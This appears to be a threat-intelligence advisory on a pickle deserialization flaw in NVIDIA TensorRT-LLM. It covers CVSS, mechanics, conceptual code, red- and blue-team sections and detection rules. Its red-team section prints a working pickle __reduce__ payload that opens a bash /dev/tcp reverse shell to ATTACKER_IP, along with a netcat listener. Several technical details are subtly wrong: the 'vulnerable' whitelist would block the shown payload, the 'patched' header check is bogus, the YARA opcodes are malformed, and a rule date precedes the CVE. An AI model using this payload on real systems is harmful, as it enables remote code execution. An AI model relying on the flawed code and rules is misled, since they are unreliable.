CVE-2026-24233

Executive Summary

CVE-2026-24233 is a critical deserialization vulnerability in NVIDIA TensorRT-LLM for Linux, specifically within the restricted unpickler used for model weight deserialization. A local, unauthenticated attacker can exploit this flaw to deserialize untrusted data, leading to arbitrary code execution, privilege escalation, data tampering, and information disclosure. The vulnerability carries a CVSS score of 8.4, indicating high severity. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, suggesting low exploitation activity in the wild. However, given the nature of the vulnerability and the criticality of the affected component, immediate attention is required.

Supply Chain & Package Security

This vulnerability affects NVIDIA TensorRT-LLM, a software package distributed by NVIDIA for Linux systems. It is not a package from NPM, PyPI, Go, or Ruby ecosystems. However, organizations using TensorRT-LLM should verify the integrity of their model weight files and ensure they are sourced from trusted origins. The deserialization flaw could be exploited via malicious model files, making supply chain security for model artifacts a critical concern.

CVSS Breakdown & Threat Level

• CVSS Score: 8.4 (High)
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full information disclosure possible.
• Integrity (I): High (H) – Data tampering possible.
• Availability (A): High (H) – Code execution could lead to denial of service.

Threat Level: Critical. The ability to achieve code execution and privilege escalation with no privileges and no user interaction makes this a high-priority vulnerability for any organization using TensorRT-LLM.

Deep Dive & Mechanics

The vulnerability resides in the restricted unpickler used by NVIDIA TensorRT-LLM for deserializing model weights. Python's pickle module is inherently unsafe when used with untrusted data, as it can execute arbitrary code during deserialization. The "restricted unpickler" is a custom implementation intended to limit the classes that can be deserialized, but CVE-2026-24233 indicates that this restriction is insufficient.

Attack Vector:

1. An attacker with local access to the system (e.g., via a compromised user account or a malicious insider) crafts a malicious pickle file containing serialized model weights.
2. The attacker places this file in a location where TensorRT-LLM will load it (e.g., a model repository or a shared directory).
3. When TensorRT-LLM deserializes the model weights using the restricted unpickler, the malicious pickle payload executes arbitrary Python code.
4. This code runs in the context of the TensorRT-LLM process, which may have elevated privileges, leading to full system compromise.

Why Restricted Unpickler Fails: The restricted unpickler likely uses a whitelist of allowed classes. However, the vulnerability suggests that either:

• The whitelist is incomplete, allowing dangerous classes (e.g., os.system, subprocess.Popen) to be deserialized.
• The unpickler does not properly validate the entire pickle opcode stream, allowing attackers to bypass restrictions using techniques like __reduce__ or __reduce_ex__ methods.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, based on the vulnerability description, the following code patterns are indicative:

Vulnerable Code (Conceptual):

import pickle

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # Incomplete whitelist
        if module == "nvidia" and name in ["Tensor", "ModelWeights"]:
            return super().find_class(module, name)
        raise pickle.UnpicklingError("Class not allowed")

def load_model_weights(filepath):
    with open(filepath, 'rb') as f:
        unpickler = RestrictedUnpickler(f)
        return unpickler.load()

Patched Code (Conceptual):

import pickle
import io

class SafeUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # Strict whitelist with no dangerous modules
        ALLOWED = {
            ("nvidia", "Tensor"),
            ("nvidia", "ModelWeights"),
            ("builtins", "list"),
            ("builtins", "dict"),
            ("builtins", "int"),
            ("builtins", "float"),
            ("builtins", "str"),
        }
        if (module, name) in ALLOWED:
            return super().find_class(module, name)
        raise pickle.UnpicklingError("Class not allowed")

def load_model_weights(filepath):
    with open(filepath, 'rb') as f:
        # Validate file signature before unpickling
        header = f.read(4)
        if header != b'\x80\x04\x95\x00':  # Example header check
            raise ValueError("Invalid pickle format")
        f.seek(0)
        unpickler = SafeUnpickler(f)
        return unpickler.load()

Exploitation & Lab Setup

Red Team

Objective: Achieve code execution on a target system running TensorRT-LLM.

Prerequisites:

• Local access to the system (e.g., via SSH, RDP, or a compromised service account).
• Ability to write a file to a location where TensorRT-LLM will load model weights.

Exploit Steps:

1. Craft Malicious Pickle Payload: Create a Python script to generate a malicious pickle file that executes a reverse shell.

   import pickle
   import os
   
   class Exploit:
       def __reduce__(self):
           return (os.system, ('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))
   
   payload = pickle.dumps(Exploit())
   with open('malicious_model.weights', 'wb') as f:
       f.write(payload)
   

2. Deliver Payload: Transfer the malicious file to the target system (e.g., via SCP, wget, or a shared directory).

3. Trigger Deserialization: If TensorRT-LLM automatically loads model weights from a directory, place the file there. Otherwise, trick a user or service into loading the file.

4. Receive Shell: On the attacker machine, start a listener:

   nc -lvnp 4444
   

Expected Outcome: A reverse shell as the user running TensorRT-LLM.

Blue Team

Detection:

• Monitor for unusual file writes to model weight directories.
• Use file integrity monitoring (FIM) to detect changes to model files.
• Enable logging of pickle deserialization events (if possible).

Prevention:

• Restrict local access to systems running TensorRT-LLM.
• Use application whitelisting to prevent execution of unauthorized scripts.
• Implement network segmentation to limit lateral movement.

Hunting:

• Search for processes spawning shells or executing unusual commands.
• Look for network connections to suspicious IPs from TensorRT-LLM processes.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2026_24233_Malicious_Pickle {
    meta:
        description = "Detects malicious pickle files exploiting CVE-2026-24233"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-24233"
    strings:
        $opcode_reduce = { 52 00 }  // REDUCE opcode
        $opcode_build = { 62 00 }   // BUILD opcode
        $os_system = "os.system" ascii wide
        $subprocess = "subprocess" ascii wide
    condition:
        ($opcode_reduce or $opcode_build) and ($os_system or $subprocess)
}

Sigma Rule

title: CVE-2026-24233 - TensorRT-LLM Malicious Pickle Deserialization
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2026-24233 via malicious pickle files
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '.weights'
        Image|endswith: 'tensorrt_llm'
    condition: selection
falsepositives:
    - Legitimate model weight updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-24233 - TensorRT-LLM Reverse Shell"; flow:to_server,established; content:"/dev/tcp/"; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Systems: Disconnect affected systems from the network if possible.
2. Restrict Local Access: Implement strict access controls to systems running TensorRT-LLM.
3. Monitor Logs: Enable detailed logging for file access and process execution.

Long-term Fixes:

1. Apply Patch: Once NVIDIA releases a patch, apply it immediately.
2. Use Safe Deserialization: Replace pickle with a safer serialization format like JSON or Protocol Buffers.
3. Implement Input Validation: Validate model weight files before deserialization (e.g., check file signatures, use cryptographic hashes).
4. Upgrade to Latest Version: Ensure TensorRT-LLM is updated to the latest version.

Workarounds:

• Disable automatic loading of model weights from untrusted directories.
• Use a sandboxed environment (e.g., Docker container) to run TensorRT-LLM with reduced privileges.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert